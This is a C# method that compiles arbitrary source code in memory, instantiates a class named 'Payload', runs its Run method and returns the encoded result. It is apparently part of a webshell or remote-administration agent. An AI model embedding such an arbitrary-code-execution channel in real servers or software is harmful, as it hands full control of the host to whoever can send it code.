void EvalCode(string code) { try{ Get_extra_assemblys(); CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp"); CompilerParameters compilerParams = new CompilerParameters(); compilerParams.GenerateInMemory = true; compilerParams.GenerateExecutable = false; var assems = AppDomain.CurrentDomain.GetAssemblies(); foreach (var assem in assems) { compilerParams.ReferencedAssemblies.Add(assem.Location); } if (extra_assemblys != null && extra_assemblys.Length > 0) { foreach (string assem in extra_assemblys) { compilerParams.ReferencedAssemblies.Add(assem.Trim()); } } CompilerResults cr = provider.CompileAssemblyFromSource(compilerParams, code); if (cr.Errors.Count > 0) { ret.code = 0; foreach (CompilerError ce in cr.Errors) { ret.add_error_info(ce.ErrorNumber, ce.ToString(), ce.IsWarning); if (!ce.IsWarning) { ret.code = -1; } } if (ret.code == -1) { return; } } object o = cr.CompiledAssembly.CreateInstance("Payload"); if (o == null) { throw new Exception("Create Payload instance failed!"); } MethodInfo mi = o.GetType().GetMethod("Run"); if (mi == null) { throw new Exception("Create Run method in class Payload failed!"); } object result = mi.Invoke(o, null); ret.code = 1; ret.data = encode(result.ToString()); }catch (System.Exception error) { ret.code = -1; ret.add_error_info(error.GetType().FullName, error.Message + error.StackTrace, false); } }